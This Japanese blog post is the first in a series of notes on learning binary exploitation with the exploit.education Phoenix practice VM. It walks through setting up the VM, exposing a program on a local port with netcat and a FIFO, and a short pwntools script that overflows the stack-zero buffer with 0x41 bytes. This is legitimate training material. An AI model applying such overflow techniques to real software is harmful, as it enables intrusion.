BuringStraw

BuringStraw

[pwnノート0]Phoenix環境の構築とstack-zero

pwn を学ぶプロジェクトを見つけたhttp://exploit.education 、一時的に pwn を学ぶために正しい方向に進むことを決め、ノートシリーズを始めてみることにしました(毎回 pwntools のスクリプトの書き方を忘れてしまうので)、途中で挫折しないことを願っています。小さな目標を設定して、少なくとも Phoenix シリーズを完了させましょう。

環境設定#

まず、more-downloads から phoenix の仮想マシンシステムイメージをダウンロードし、あなたのアーキテクチャに応じて選択します。これがターゲットマシンです。起動する前に、qemu-system-x86をインストールする必要があります(64 ビット版も同じパッケージに含まれています(archlinux))。

boot-balabala.shを実行して仮想マシンを起動します。デフォルトで 2222 ポートで ssh が開かれます。ユーザー名とパスワードはどちらも user です。

netcat を使用して内部のプログラムを転送したい場合は、起動スクリプトに別のポート転送を追加するだけです。ここではネットワークのその行全体を例にします。

-netdev user,id=unet,hostfwd=tcp:127.0.0.1:2222-:22,hostfwd=tcp:127.0.0.1:3333-:3333

次に、仮想マシン内で実行します。

mkfifo io

そして、スクリプトファイル(start.sh)を作成します。

#!/bin/bash
cat io|$1 -i 2>&1|nc -l 3333 > io

これで、sh start.sh /opt/phoenix/amd64/stack-zeroのようにして netcat を起動できます。ポート 3333 は起動スクリプト内のものと一致させることを忘れないでください。

仮想マシン内の gdb にはデフォルトで gef がインストールされていますが、あまり使い方がわからないので、peda を scp で転送しました。省略します。

ホストマシンには非常に便利な pwntools をインストールします:pip install pwntools

stack-zero#

プログラムは比較的簡単なので、cutter を直接使用しました。

(実際には exploit.education のウェブサイトにソースコードが提供されています)(冒頭のコメントは実際には冷やかしのジョークです)

私たちは今、s を var_10h (changeme) にオーバーフローさせる必要があります。内容は何でも構いません。gdb を開いて距離を計算し、まずは適当に何かを入力します。

文字列は0x620にあります。

条件文では、changeme はrbp-0x10にあり、つまり0x670-0x10です。

0x660-0x620=0x40を計算します。

したがって、0x41個の a を出力すればよいのです。

pwntools を使う練習のために、コードを書きます。

ここでは直接 ssh で接続しましたので、nc は必要ありません。

from pwn import *

shell = ssh("user", "localhost", password="user", port=2222)
sh = shell.run("/opt/phoenix/amd64/stack-zero")
print(sh.recvline())
sh.sendline(b"a"*0x41)
print(sh.recvline())
shell.close()

成功しました。

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。